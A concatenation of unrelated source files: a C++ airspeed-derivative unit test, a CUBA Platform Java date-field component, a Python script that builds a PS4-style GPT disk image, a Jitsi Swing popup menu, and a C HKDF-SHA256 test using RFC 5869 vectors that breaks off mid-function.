* PI / (CROSSWIND_SCHEDULE_TABLE_LENGTH - 1)) * i; playbook_entry.lookup_loop_angle[i] = loop_angle; playbook_entry.airspeed_lookup[i] = mean_airspeed_cmd + airspeed_variation * cos(loop_angle - airspeed_variation_loop_angle_offset); } params.min_airspeed = 10.0; params.max_airspeed = 100.0; double dloop_angle = playbook_entry.lookup_loop_angle[1] - playbook_entry.lookup_loop_angle[0]; for (double loop_angle = 0.0; loop_angle < 2.0 * PI; loop_angle += 0.1) { EXPECT_NEAR( GetAirspeedDerivative(loop_angle, dloop_angle, kCrosswindPathNormal, &flight_status, &playbook_entry, &params, &state), -airspeed_variation * sin(loop_angle - airspeed_variation_loop_angle_offset), airspeed_variation * 1e-2); } } int main(int argc, char **argv) { ::testing::InitGoogleTest(&argc, argv); return RUN_ALL_TESTS(); }
1,011
1,337
/* * Copyright (c) 2008-2016 Haulmont. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * */ package com.haulmont.cuba.web.gui.components; import com.haulmont.bali.datastruct.Pair; import com.haulmont.bali.events.Subscription; import com.haulmont.bali.util.Preconditions; import com.haulmont.chile.core.datatypes.Datatype; import com.haulmont.chile.core.datatypes.FormatStringsRegistry; import com.haulmont.chile.core.model.MetaProperty; import com.haulmont.cuba.core.global.DateTimeTransformations; import com.haulmont.cuba.core.global.Messages; import com.haulmont.cuba.core.global.UserSessionSource; import com.haulmont.cuba.gui.ComponentsHelper; import com.haulmont.cuba.gui.Notifications; import com.haulmont.cuba.gui.components.*; import com.haulmont.cuba.gui.components.TimeField.TimeMode; import com.haulmont.cuba.gui.components.data.BindingState; import com.haulmont.cuba.gui.components.data.ConversionException; import com.haulmont.cuba.gui.components.data.DataAwareComponentsTools; import com.haulmont.cuba.gui.components.data.ValueSource; import com.haulmont.cuba.gui.components.data.meta.EntityValueSource; import com.haulmont.cuba.gui.sys.TestIdManager; import com.haulmont.cuba.gui.theme.ThemeConstants; import com.haulmont.cuba.web.App; import com.haulmont.cuba.web.AppUI; import com.haulmont.cuba.web.widgets.CubaCssActionsLayout; import com.haulmont.cuba.web.widgets.CubaDateField; import com.haulmont.cuba.web.widgets.CubaTimeFieldWrapper; import com.vaadin.data.HasValue; import com.vaadin.server.ErrorMessage; import com.vaadin.server.UserError; import com.vaadin.shared.ui.datefield.DateResolution; import com.vaadin.ui.AbstractComponent; import org.apache.commons.lang3.StringUtils; import org.slf4j.LoggerFactory; import org.springframework.beans.factory.InitializingBean; import javax.inject.Inject; import java.time.*; import java.util.*; import java.util.function.Consumer; import static com.haulmont.bali.util.Preconditions.checkNotNullArgument; import static com.haulmont.cuba.web.gui.components.WebWrapperUtils.fromVaadinTimeMode; import static com.haulmont.cuba.web.gui.components.WebWrapperUtils.toVaadinTimeMode; public class WebDateField<V extends Comparable<V>> extends WebAbstractViewComponent<CubaCssActionsLayout, LocalDateTime, V> implements DateField<V>, InitializingBean { public static final String DATEFIELD_WITH_TIME_STYLENAME = "c-datefield-withtime"; protected static final int VALIDATORS_LIST_INITIAL_CAPACITY = 2; protected DateTimeTransformations dateTimeTransformations; protected List<Consumer> validators; // lazily initialized list protected Resolution resolution; protected ZoneId zoneId; protected Datatype<V> datatype; protected V rangeStart; protected V rangeEnd; protected boolean updatingInstance; protected CubaDateField dateField; protected CubaTimeFieldWrapper timeField; protected String dateTimeFormat; protected boolean editable = true; protected ThemeConstants theme; protected Subscription parentEditableChangeSubscription; protected Subscription valueSourceStateChangeSubscription; protected DataAwareComponentsTools dataAwareComponentsTools; public WebDateField() { component = createComponent(); component.setPrimaryStyleName("c-datefield-layout"); if (App.isBound()) { theme = App.getInstance().getThemeConstants(); } dateField = createDateField(); initDateField(dateField); timeField = createTimeField(); initTimeField(timeField); setWidthAuto(); dateField.addValueChangeListener(this::componentValueChanged); timeField.addValueChangeListener(this::componentValueChanged); updateLayout(); } protected CubaCssActionsLayout createComponent() { return new CubaCssActionsLayout(); } protected CubaDateField createDateField() { return new CubaDateField(); } protected void initDateField(CubaDateField dateField) { dateField.setCaptionManagedByLayout(false); } protected CubaTimeFieldWrapper createTimeField() { return new CubaTimeFieldWrapper(); } protected void initTimeField(CubaTimeFieldWrapper timeField) { timeField.setCaptionManagedByLayout(false); } @Inject public void setDataAwareComponentsTools(DataAwareComponentsTools dataAwareComponentsTools) { this.dataAwareComponentsTools = dataAwareComponentsTools; } @Inject public void setDateTimeTransformations(DateTimeTransformations dateTimeTransformations) { this.dateTimeTransformations = dateTimeTransformations; } @Override public void afterPropertiesSet() { UserSessionSource userSessionSource = beanLocator.get(UserSessionSource.class); Locale locale = userSessionSource.getLocale(); FormatStringsRegistry formatStringsRegistry = beanLocator.get(FormatStringsRegistry.NAME); dateField.setDateFormat(formatStringsRegistry.getFormatStringsNN(locale).getDateFormat()); dateField.setResolution(DateResolution.DAY); timeField.setTimeFormat(formatStringsRegistry.getFormatStringsNN(locale).getTimeFormat()); AppUI ui = AppUI.getCurrent(); if (ui != null && ui.isTestMode()) { timeField.setCubaId("timepart"); dateField.setCubaId("datepart"); } } protected void componentValueChanged(HasValue.ValueChangeEvent<?> e) { if (e.isUserOriginated()) { V value; try { value = constructModelValue(); if (!checkRange(value, true)) { return; } LocalDateTime presentationValue = convertToPresentation(value); setValueToPresentation(presentationValue); } catch (ConversionException ce) { LoggerFactory.getLogger(WebDateField.class) .trace("Unable to convert presentation value to model", ce); setValidationError(ce.getLocalizedMessage()); return; } V oldValue = internalValue; internalValue = value; if (!fieldValueEquals(value, oldValue)) { ValueChangeEvent<V> event = new ValueChangeEvent<>(this, oldValue, value, true); publish(ValueChangeEvent.class, event); } } } @Override public Resolution getResolution() { return resolution; } @Override public void setResolution(Resolution resolution) { this.resolution = resolution; setResolutionInternal(resolution); updateLayout(); } protected void setResolutionInternal(Resolution resolution) { dateField.setResolution(WebWrapperUtils.convertDateTimeResolution(resolution)); if (resolution.ordinal() < Resolution.DAY.ordinal()) { timeField.setResolution(WebWrapperUtils.toVaadinTimeResolution(resolution)); } else { // Set time field value to zero in case of resolution without time. // If we don't set value to zero then after changing resolution back to // resolution with time, we will get some value in time field timeField.setValue(null); } } @Override public Datatype<V> getDatatype() { return datatype; } @Override public void setDatatype(Datatype<V> datatype) { dataAwareComponentsTools.checkValueSourceDatatypeMismatch(datatype, getValueSource()); this.datatype = datatype; } @Override public void setRangeStart(V value) { this.rangeStart = value; dateField.setRangeStart(value == null ? null : convertToLocalDateTime(value, zoneId).toLocalDate()); } @Override public V getRangeStart() { return rangeStart; } @Override public void setRangeEnd(V value) { this.rangeEnd = value; dateField.setRangeEnd(value == null ? null : convertToLocalDateTime(value, zoneId).toLocalDate()); } @Override public V getRangeEnd() { return rangeEnd; } protected boolean checkRange(V value, boolean handleError) { if (updatingInstance) { return true; } if (value != null) { V rangeStart = getRangeStart(); if (rangeStart != null && rangeStart.compareTo(value) > 0) { if (handleError) { handleDateOutOfRange(value); } return false; } V rangeEnd = getRangeEnd(); if (rangeEnd != null && rangeEnd.compareTo(value) < 0) { if (handleError) { handleDateOutOfRange(value); } return false; } } return true; } protected void handleDateOutOfRange(V value) { if (getFrame() != null) { Messages messages = beanLocator.get(Messages.NAME); Notifications notifications = ComponentsHelper.getScreenContext(this).getNotifications(); notifications.create() .withCaption(messages.getMainMessage("datePicker.dateOutOfRangeMessage")) .withType(Notifications.NotificationType.TRAY) .show(); } setValueToPresentation(convertToLocalDateTime(value, zoneId)); } @Override public String getDateFormat() { return dateTimeFormat; } @Override public void setDateFormat(String dateFormat) { Preconditions.checkNotNullArgument(dateFormat); dateTimeFormat = dateFormat; String date = dateFormat; Pair<Integer, Integer> timePosition = findTimePosition(dateFormat); if (timePosition.getFirst() >= 0 && timePosition.getSecond() >= 0) { String time = dateFormat.substring(timePosition.getFirst(), timePosition.getSecond() + 1); timeField.setTimeFormat(StringUtils.trimToEmpty(time)); date = StringUtils.trimToEmpty(dateFormat.replaceAll(time, "")); } dateField.setDateFormat(StringUtils.trimToEmpty(date)); updateLayout(); } @Override public TimeZone getTimeZone() { return getZoneId() != null ? TimeZone.getTimeZone(getZoneId()) : null; } @Override public void setTimeZone(TimeZone timeZone) { setZoneId(timeZone == null ? null : timeZone.toZoneId()); } @Override public ZoneId getZoneId() { return zoneId; } @Override public void setAutofill(boolean autofill) { dateField.setAutofill(autofill); } @Override public boolean isAutofill() { return dateField.isAutofill(); } @Override public void setZoneId(ZoneId zoneId) { ZoneId prevZoneId = this.zoneId; V value = getValue(); this.zoneId = zoneId; dateField.setZoneId(zoneId); if (value != null && !Objects.equals(prevZoneId, zoneId)) { setValueToPresentation(convertToPresentation(value)); } } protected void updateLayout() { component.removeAllComponents(); component.addComponent(dateField); boolean timeFieldAllowedByResolution = resolution != null && resolution.ordinal() < Resolution.DAY.ordinal(); boolean timeFieldAllowedByDateFormat = resolution == null && dateTimeFormat != null && findTimePosition(dateTimeFormat).getFirst() >= 0; if ((resolution == null && dateTimeFormat == null) || timeFieldAllowedByResolution || timeFieldAllowedByDateFormat) { component.addComponent(timeField); component.addStyleName(DATEFIELD_WITH_TIME_STYLENAME); } else { component.removeStyleName("c-datefield-withtime"); } } protected Pair<Integer, Integer> findTimePosition(String dateTimeFormat) { Set<Integer> positions = new HashSet<>(); char[] signs = new char[]{'H', 'h', 'm', 's'}; for (char sign : signs) { int firstPos = dateTimeFormat.indexOf(sign); int lastPos = dateTimeFormat.lastIndexOf(sign); if (firstPos > -1) { positions.add(firstPos); } if (lastPos > -1) { positions.add(lastPos); } } return positions.isEmpty() ? new Pair<>(-1, -1) : new Pair<>(Collections.min(positions), Collections.max(positions)); } @Override protected void setValueToPresentation(LocalDateTime value) { updatingInstance = true; try { if (value == null) { dateField.setValue(null); timeField.setValue(null); } else { dateField.setValue(value.toLocalDate()); timeField.setValue(value.toLocalTime()); } } finally { updatingInstance = false; } } @SuppressWarnings("unchecked") protected V constructModelValue() { LocalDate dateValue = dateField.getValue(); if (dateValue == null) { return null; } LocalTime timeValue = timeField.getValue() != null ? timeField.getValue() : LocalTime.MIDNIGHT; LocalDateTime localDateTime = LocalDateTime.of(dateValue, timeValue); ValueSource<V> valueSource = getValueSource(); if (valueSource instanceof EntityValueSource) { MetaProperty metaProperty = ((EntityValueSource) valueSource).getMetaPropertyPath().getMetaProperty(); return (V) convertFromLocalDateTime(localDateTime, zoneId, metaProperty.getRange().asDatatype().getJavaClass()); } return (V) convertFromLocalDateTime(localDateTime, zoneId, datatype == null ? Date.class : datatype.getJavaClass()); } @Override protected LocalDateTime convertToPresentation(V modelValue) throws ConversionException { if (modelValue == null) { return null; } return convertToLocalDateTime(modelValue, zoneId); } protected LocalDateTime convertToLocalDateTime(Object date, ZoneId zoneId) { Preconditions.checkNotNullArgument(date); ZonedDateTime zonedDateTime = dateTimeTransformations.transformToZDT(date); if (dateTimeTransformations.isDateTypeSupportsTimeZones(date.getClass())) { zonedDateTime = zonedDateTime.withZoneSameInstant(zoneId != null ? zoneId : ZoneId.systemDefault()); } return zonedDateTime.toLocalDateTime(); } protected Object convertFromLocalDateTime(LocalDateTime localDateTime, ZoneId fromZoneId, Class javaType) { if (fromZoneId == null || !dateTimeTransformations.isDateTypeSupportsTimeZones(javaType)) { fromZoneId = ZoneId.systemDefault(); } ZonedDateTime zonedDateTime = localDateTime.atZone(fromZoneId); return dateTimeTransformations.transformFromZDT(zonedDateTime, javaType); } @Override public void setDescription(String description) { super.setDescription(description); dateField.setDescription(description); timeField.setDescription(description); } @Override public void commit() { if (valueBinding != null) { valueBinding.write(); } } @Override public void discard() { if (valueBinding != null) { valueBinding.discard(); } } @Override public boolean isBuffered() { return valueBinding != null && valueBinding.isBuffered(); } @Override public void setBuffered(boolean buffered) { if (valueBinding != null) { valueBinding.setBuffered(buffered); } } @Override public boolean isModified() { return valueBinding != null && valueBinding.isModified(); } @Override public void setDebugId(String id) { super.setDebugId(id); if (id != null) { TestIdManager testIdManager = AppUI.getCurrent().getTestIdManager(); timeField.setId(testIdManager.getTestId(id + "_time")); dateField.setId(testIdManager.getTestId(id + "_date")); } } @Override protected void valueBindingConnected(ValueSource<V> valueSource) { super.valueBindingConnected(valueSource); if (valueSource instanceof EntityValueSource) { EntityValueSource entityValueSource = (EntityValueSource) valueSource; DataAwareComponentsTools dataAwareComponentsTools = beanLocator.get(DataAwareComponentsTools.class); dataAwareComponentsTools.setupDateFormat(this, entityValueSource); dataAwareComponentsTools.setupZoneId(this, entityValueSource); if (valueSourceStateChangeSubscription != null) { valueSourceStateChangeSubscription.remove(); } // setup dateRange after valueSource is activated and value is set because // Vaadin dateField rejects value if it is not in range valueSourceStateChangeSubscription = valueSource.addStateChangeListener(event -> { if (event.getState() == BindingState.ACTIVE) { dataAwareComponentsTools.setupDateRange(this, entityValueSource); } }); } } @Override public void setParent(Component parent) { if (this.parent instanceof EditableChangeNotifier && parentEditableChangeSubscription != null) { parentEditableChangeSubscription.remove(); parentEditableChangeSubscription = null; } super.setParent(parent); if (parent instanceof EditableChangeNotifier) { parentEditableChangeSubscription = ((EditableChangeNotifier) parent).addEditableChangeListener(this::onParentEditableChange); Editable parentEditable = (Editable) parent; if (!parentEditable.isEditable()) { setEditableToComponent(false); } } } protected void onParentEditableChange(EditableChangeNotifier.EditableChangeEvent event) { boolean parentEditable = event.getSource().isEditable(); boolean finalEditable = parentEditable && editable; setEditableToComponent(finalEditable); } @Override public boolean isEditable() { return editable; } @Override public void setEditable(boolean editable) { if (this.editable == editable) { return; } this.editable = editable; boolean parentEditable = true; if (parent instanceof ChildEditableController) { parentEditable = ((ChildEditableController) parent).isEditable(); } boolean finalEditable = parentEditable && editable; setEditableToComponent(finalEditable); } protected void setEditableToComponent(boolean editable) { timeField.setReadOnly(!editable); dateField.setReadOnly(!editable); } @Override public void focus() { dateField.focus(); } @Override public int getTabIndex() { return dateField.getTabIndex(); } @Override public void setTabIndex(int tabIndex) { dateField.setTabIndex(tabIndex); timeField.setTabIndex(tabIndex); } @Override public boolean isRequired() { return component.isRequiredIndicatorVisible(); } @Override public void setRequired(boolean required) { boolean isRequiredIndicatorVisible = required && isEditable(); // Set requiredIndicatorVisible to a component // in order to show required indicator component.setRequiredIndicatorVisible(isRequiredIndicatorVisible); setupComponentErrorProvider(required, component); setupComponentErrorProvider(required, dateField); setupComponentErrorProvider(required, timeField); } protected void setupComponentErrorProvider(boolean required, AbstractComponent component) { if (required) { component.setComponentErrorProvider(this::getErrorMessage); } else { component.setComponentErrorProvider(null); } } protected ErrorMessage getErrorMessage() { return (isEditableWithParent() && isRequired() && isEmpty()) ? new UserError(getRequiredMessage()) : null; } @Override public String getRequiredMessage() { return dateField.getRequiredError(); } @Override public void setRequiredMessage(String msg) { dateField.setRequiredError(msg); timeField.setRequiredError(msg); } @Override public void addValidator(Consumer<? super V> validator) { if (validators == null) { validators = new ArrayList<>(VALIDATORS_LIST_INITIAL_CAPACITY); } if (!validators.contains(validator)) { validators.add(validator); } } @Override public void removeValidator(Consumer<V> validator) { if (validators != null) { validators.remove(validator); } } @SuppressWarnings("unchecked") @Override public Collection<Consumer<V>> getValidators() { if (validators == null) { return Collections.emptyList(); } return (Collection) Collections.unmodifiableCollection(validators); } @Override public boolean isValid() { try { validate(); return true; } catch (ValidationException e) { return false; } } @Override public void validate() throws ValidationException { if (hasValidationError()) { setValidationError(null); } if (!isVisibleRecursive() || !isEditableWithParent() || !isEnabledRecursive()) { return; } Messages messages = beanLocator.get(Messages.NAME); V value = constructModelValue(); if (!checkRange(value, false)) { LoggerFactory.getLogger(WebDateField.class) .trace("DateField value is out of range"); String dateOutOfRangeMessage = messages.getMainMessage("datePicker.dateOutOfRangeMessage"); setValidationError(dateOutOfRangeMessage); throw new ValidationException(dateOutOfRangeMessage); } if (isEmpty() && isRequired()) { String requiredMessage = getRequiredMessage(); if (requiredMessage == null) { requiredMessage = messages.getMainMessage("validationFail.defaultRequiredMessage"); } throw new RequiredValueMissingException(requiredMessage, this); } value = getValue(); triggerValidators(value); } protected void triggerValidators(V value) throws ValidationFailedException { if (validators != null) { try { for (Consumer validator : validators) { validator.accept(value); } } catch (ValidationException e) { setValidationError(e.getDetailsMessage()); throw new ValidationFailedException(e.getDetailsMessage(), this, e); } } } @Override protected boolean hasValidationError() { return dateField.getComponentError() instanceof UserError; } @Override protected void setValidationError(String errorMessage) { if (errorMessage == null) { dateField.setComponentError(null); timeField.setComponentError(null); } else { UserError userError = new UserError(errorMessage); dateField.setComponentError(userError); timeField.setComponentError(userError); } } @Override public void setTimeMode(TimeMode timeMode) { checkNotNullArgument("Time mode cannot be null"); timeField.setTimeMode(toVaadinTimeMode(timeMode)); } @Override public TimeMode getTimeMode() { return fromVaadinTimeMode(timeField.getTimeMode()); } }
10,024
3,486
#!/usr/bin/python import argparse import copy import re import struct from uuid import * from zlib import * # Configuration LBA_SIZE = 512 # Constants GPT_TYPE_GUID_SCE_PREINST = UUID("17800F17-B9E1-425D-B937-0119A0813172") GPT_TYPE_GUID_SCE_PREINST2 = UUID("CCB52E94-EBEF-48C4-A195-9E2DA5B0292C") GPT_TYPE_GUID_SCE_DA0X2 = UUID("145268BF-63AD-47C1-9378-9AACD9BEED7C") GPT_TYPE_GUID_SCE_EAP_VSH = UUID("6E0C5310-8445-4066-B571-9B65FDB75935") GPT_TYPE_GUID_SCE_SYSTEM = UUID("757A614B-6179-5361-6B61-6B6968617261") GPT_TYPE_GUID_SCE_SYSTEM_EX = UUID("DC85025F-A694-4109-BE44-FA0C063E8B81") GPT_TYPE_GUID_SCE_SWAP = UUID("76A9A5B4-44B0-472A-BDE3-3107472ADEE2") GPT_TYPE_GUID_SCE_APP_TMP = UUID("80DD49E3-A985-4887-81DE-1DACA47AED90") GPT_TYPE_GUID_SCE_SYSTEM_DATA = UUID("A71FF62D-1421-4DD9-935D-25DABD81BEC5") GPT_TYPE_GUID_SCE_UPDATE = UUID("FDB5EDE1-73C3-4C43-8C5B-2D3DCFCDDFF8") GPT_TYPE_GUID_SCE_USER = UUID("C638477A-E002-4B57-A454-A27FB63A33A8") GPT_TYPE_GUID_SCE_EAP_USER = UUID("21E4DFB4-0040-4934-A037-EA9DC058EEA6") GPT_TYPE_GUID_SCE_DA0X15 = UUID("3EF7290A-DE81-4887-A11F-46FBA765C71C") GPT_PART_FLAG_SCE_UNK55 = 0x80000000000000 # Utilities def parse_size(size_str): if not re.match('\d+[BKMGT]', size_str): raise Exception('Invalid size specified') size = int(size_str[:-1]) if size_str[-1] == 'B': size *= 1024**0 if size_str[-1] == 'K': size *= 1024**1 if size_str[-1] == 'M': size *= 1024**2 if size_str[-1] == 'G': size *= 1024**3 if size_str[-1] == 'T': size *= 1024**4 return size def is_power2(num): return num != 0 and ((num & (num - 1)) == 0) def sce_guid(time_low): return UUID("%08X-0000-1000-A2D0-709E2913C1F5" % time_low) # GPT class GPTPartition(object): def __init__(self, parent, size, type_guid, part_guid, flags=0, name=""): # Arguments if type(size) == str: size = parse_size(size) assert size > 0 and size % LBA_SIZE == 0 assert type(type_guid) == UUID assert type(part_guid) == UUID # Fields self.type_guid = type_guid self.part_guid = part_guid self.first_lba = 0 self.last_lba = 0 self.flags = flags self.name = name # Helpers self.parent = parent self.size = size def serialize(self): fmt = '<16s16sQQQ72s' assert struct.calcsize(fmt) == 0x80 assert len(self.name) <= 72 return struct.pack(fmt, self.type_guid.bytes_le, self.part_guid.bytes_le, self.first_lba, self.last_lba, self.flags, self.name.encode('utf-8')) class GPTHeader(object): def __init__(self, disk_size, disk_guid, signature=b"", revision=0): # Arguments assert disk_size > 0 and disk_size % LBA_SIZE == 0 last_lba = (disk_size // LBA_SIZE) - 1 last_lba -= 1 # Skip dummy/scratch end sector last_lba -= 32 # Skip backup GPT partitions last_lba -= 1 # Skip backup GPT header # Fields self.signature = signature self.revision = revision self.size = 0x5C self.crc = 0 self.reserved = 0 self.current_lba = 1 self.backup_lba = last_lba + 1 self.first_lba = 34 self.last_lba = last_lba self.disk_guid = disk_guid self.parts_lba = 2 self.parts_count = 0 self.parts_size = 0x80 self.parts_crc = 0 # Helpers self.disk_size = disk_size self.partitions = [] def serialize(self): fmt = '<8sIIIIQQQQ16sQIII' assert struct.calcsize(fmt) == 0x5C assert struct.calcsize(fmt) == self.size return struct.pack(fmt, self.signature, self.revision, self.size, self.crc, self.reserved, self.current_lba, self.backup_lba, self.first_lba, self.last_lba, self.disk_guid.bytes_le, self.parts_lba, self.parts_count, self.parts_size, self.parts_crc) def update(self): self.parts_lba = self.current_lba + 1 # Allocate partitions current_lba = 2048 self.parts_count = len(self.partitions) * 4 for part in sorted(self.partitions, key=lambda x: x.part_guid): part.first_lba = current_lba current_lba += part.size // LBA_SIZE part.last_lba = current_lba - 1 # Update partitions CRC buffer = b'' for part in self.partitions: entry = part.serialize() buffer += entry + (b'\x00' * (LBA_SIZE-len(entry))) parts_table_size = (self.first_lba - self.parts_lba) * LBA_SIZE buffer += b'\x00' * (parts_table_size - len(buffer)) self.parts_crc = crc32(buffer) & 0xFFFFFFFF # Update header CRC self.crc = 0 self.crc = crc32(self.serialize()) & 0xFFFFFFFF def save(self, f): self.update() f.seek(LBA_SIZE * self.current_lba) f.write(self.serialize()) for i in range(len(self.partitions)): partition = self.partitions[i] partition_lba = self.parts_lba + i f.seek(LBA_SIZE * partition_lba) f.write(partition.serialize()) # Generate image def generate_hdd_gpt_partitions(gpt, size): gpt.partitions.append(GPTPartition(gpt, '512M', GPT_TYPE_GUID_SCE_PREINST, sce_guid(0xA))) gpt.partitions.append(GPTPartition(gpt, '1G', GPT_TYPE_GUID_SCE_PREINST2, sce_guid(0xB))) gpt.partitions.append(GPTPartition(gpt, '16M', GPT_TYPE_GUID_SCE_DA0X2, sce_guid(0xC))) gpt.partitions.append(GPTPartition(gpt, '128M', GPT_TYPE_GUID_SCE_EAP_VSH, sce_guid(0xD))) gpt.partitions.append(GPTPartition(gpt, '1G', GPT_TYPE_GUID_SCE_SYSTEM, sce_guid(0x5), flags=GPT_PART_FLAG_SCE_UNK55)) gpt.partitions.append(GPTPartition(gpt, '1G', GPT_TYPE_GUID_SCE_SYSTEM, sce_guid(0x6))) gpt.partitions.append(GPTPartition(gpt, '1G', GPT_TYPE_GUID_SCE_SYSTEM_EX, sce_guid(0x7), flags=GPT_PART_FLAG_SCE_UNK55)) gpt.partitions.append(GPTPartition(gpt, '1G', GPT_TYPE_GUID_SCE_SYSTEM_EX, sce_guid(0x8))) gpt.partitions.append(GPTPartition(gpt, '8G', GPT_TYPE_GUID_SCE_SWAP, sce_guid(0x4))) gpt.partitions.append(GPTPartition(gpt, '1G', GPT_TYPE_GUID_SCE_APP_TMP, sce_guid(0x1))) gpt.partitions.append(GPTPartition(gpt, '8G', GPT_TYPE_GUID_SCE_SYSTEM_DATA, sce_guid(0x9))) gpt.partitions.append(GPTPartition(gpt, '6G', GPT_TYPE_GUID_SCE_UPDATE, sce_guid(0xF))) gpt.partitions.append(GPTPartition(gpt, size - parse_size('36G'), GPT_TYPE_GUID_SCE_USER, sce_guid(0x3))) gpt.partitions.append(GPTPartition(gpt, '1G', GPT_TYPE_GUID_SCE_EAP_USER, sce_guid(0xE))) gpt.partitions.append(GPTPartition(gpt, '6G', GPT_TYPE_GUID_SCE_DA0X15, sce_guid(0x2))) return gpt def generate_hdd_mbr(f, size): # Write MBR partition entry last_lba = (size // LBA_SIZE) - 2 f.seek(0x1BE) f.write(b'\x00') f.write(b'\x00\x02\x00') f.write(b'\xEE') f.write(b'\xFF\xFF\xFF') f.write(struct.pack('<I', 1)) f.write(struct.pack('<I', last_lba)) # Magic f.seek(0x1FE) f.write(b'\x55') f.write(b'\xAA') def generate_hdd_gpt(f, size): gpt = GPTHeader(size, sce_guid(0), signature=b"EFI PART", revision=0x10000) gpt = generate_hdd_gpt_partitions(gpt, size) gpt1 = copy.copy(gpt) gpt2 = copy.copy(gpt) gpt2.current_lba = gpt1.backup_lba gpt2.backup_lba = gpt1.current_lba # Save changes gpt1.save(f) gpt2.save(f) f.seek(gpt.disk_size - 1) f.write(b'\x00') def generate_hdd(f, size): generate_hdd_mbr(f, size) generate_hdd_gpt(f, size) def main(): # Define arguments parser = argparse.ArgumentParser( description='Generate an HDD image partitioned as PS4 kernels expect.') parser.add_argument('-s', '--size', default='50G', help="size of the disk image (e.g. '500G', '1T')", ) parser.add_argument('output', metavar='path/to/disk.img', help='path to output disk image file', ) # Parse arguments args = parser.parse_args() size = parse_size(args.size) if size < parse_size('20G'): raise Exception('Specified size below allowed minimum') with open(args.output, 'wb') as f: generate_hdd(f, size) if __name__ == '__main__': main()
4,675
3,442
<reponame>wcicola/jitsi /* * Jitsi, the OpenSource Java VoIP and Instant Messaging client. * * Copyright @ 2015 Atlassian Pty Ltd * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package net.java.sip.communicator.plugin.desktoputil; import net.java.sip.communicator.util.skin.*; import javax.swing.*; import java.awt.*; import java.util.List; /** * The <tt>ExtendedPopupMenu</tt> is the dialog shown to let the user choose * from several options. * * @author <NAME> */ public class ExtendedPopupMenu extends SIPCommPopupMenu implements Skinnable { /** * Serial version UID. */ private static final long serialVersionUID = 0L; /** * The invoker component. */ private final Component invoker; /** * Creates this dialog by specifying a list of items to choose from. * * @param invoker the invoker of this pop up * @param title * @param menuItems the list of items to select through */ public ExtendedPopupMenu(Component invoker, String title, List<JMenuItem> menuItems) { if (invoker != null) this.invoker = invoker; else this.invoker = new JPanel(); this.init(title); for (JMenuItem menuItem : menuItems) { this.add(menuItem); } } /** * Initializes and add some common components. * * @param infoString the string we'd like to show on the top of this * popup menu */ private void init(String infoString) { setInvoker(invoker); if(infoString != null) { this.add(createInfoLabel(infoString)); this.addSeparator(); } this.setFocusable(true); } /** * Shows the dialog at the given location. * * @param x the x coordinate * @param y the y coordinate */ public void showPopupMenu(int x, int y) { setLocation(x, y); setVisible(true); } /** * Shows this popup menu regarding to its invoker location. */ public void showPopupMenu() { Point location = new Point(invoker.getX(), invoker.getY() + invoker.getHeight()); SwingUtilities .convertPointToScreen(location, invoker.getParent()); setLocation(location); setVisible(true); } /** * Creates the info label. * * @param infoString the string we'd like to show on the top of this * popup menu * @return the created info label */ private Component createInfoLabel(String infoString) { JMenuItem infoLabel = new JMenuItem(); infoLabel.setEnabled(false); infoLabel.setFocusable(false); infoLabel.setText("<html><b>" + infoString + "</b></html>"); return infoLabel; } /** * Reloads all menu items. */ public void loadSkin() { Component[] components = getComponents(); for(Component component : components) { if(component instanceof Skinnable) { Skinnable skinnableComponent = (Skinnable) component; skinnableComponent.loadSkin(); } } } }
1,544
2,288
/* From RFC5869 Appendix A * * https://tools.ietf.org/html/rfc5869 */ #include <ccan/crypto/hkdf_sha256/hkdf_sha256.h> #include <ccan/tap/tap.h> #include <ccan/str/hex/hex.h> #include <string.h> #include <assert.h> struct test { const char *ikm, *salt, *info, *okm; }; static struct test tests[] = { { /* Test Case 1 Basic test case with SHA-256 */ "0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b", /* (22 octets) */ "000102030405060708090a0b0c", /* (13 octets) */ "f0f1f2f3f4f5f6f7f8f9", /* (10 octets) */ "3cb25f25faacd57a90434f64d0362f2a2d2d0a90cf1a5a4c5db02d56ecc4c5bf34007208d5b887185865", /* (42 octets) */ }, { /* Test Case 2 * * Test with SHA-256 and longer inputs/outputs */ "000102030405060708090a0b0c0d0e0f" "101112131415161718191a1b1c1d1e1f" "202122232425262728292a2b2c2d2e2f" "303132333435363738393a3b3c3d3e3f" "404142434445464748494a4b4c4d4e4f", /* (80 octets) */ "606162636465666768696a6b6c6d6e6f" "707172737475767778797a7b7c7d7e7f" "808182838485868788898a8b8c8d8e8f" "909192939495969798999a9b9c9d9e9f" "a0a1a2a3a4a5a6a7a8a9aaabacadaeaf", /* (80 octets )*/ "b0b1b2b3b4b5b6b7b8b9babbbcbdbebf" "c0c1c2c3c4c5c6c7c8c9cacbcccdcecf" "d0d1d2d3d4d5d6d7d8d9dadbdcdddedf" "e0e1e2e3e4e5e6e7e8e9eaebecedeeef" "f0f1f2f3f4f5f6f7f8f9fafbfcfdfeff", /* (80 octets) */ "b11e398dc80327a1c8e7f78c596a4934" "4f012eda2d4efad8a050cc4c19afa97c" "59045a99cac7827271cb41c65e590e09" "da3275600c2f09b8367793a9aca3db71" "cc30c58179ec3e87c14c01d5c1f3434f" "1d87" /* (82 octets) */ }, { /* Test Case 3 * * Test with SHA-256 and zero-length salt/info */ "0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b", /* (22 octets) */ "", /* (0 octets) */ "", /* (0 octets) */ "8da4e775a563c18f715f802a063c5a31" "b8a11f5c5ee1879ec3454e5f3c738d2d" "9d201395faa4b61a96c8" /* (42 octets) */ } }; static void *fromhex(const char *str, size_t *len) { void *p; *len = hex_data_size(strlen(str)); p = malloc(*len); if (!hex_decode(str, strlen(str), p, *len)) abort(); return p; } int main(void) { size_t i; plan_tests(sizeof(tests) / sizeof(tests[0])); for (i = 0; i < sizeof(tests) / sizeof(tests[0]); i++) { size_t ksize, ssize, isize, okmsize; void 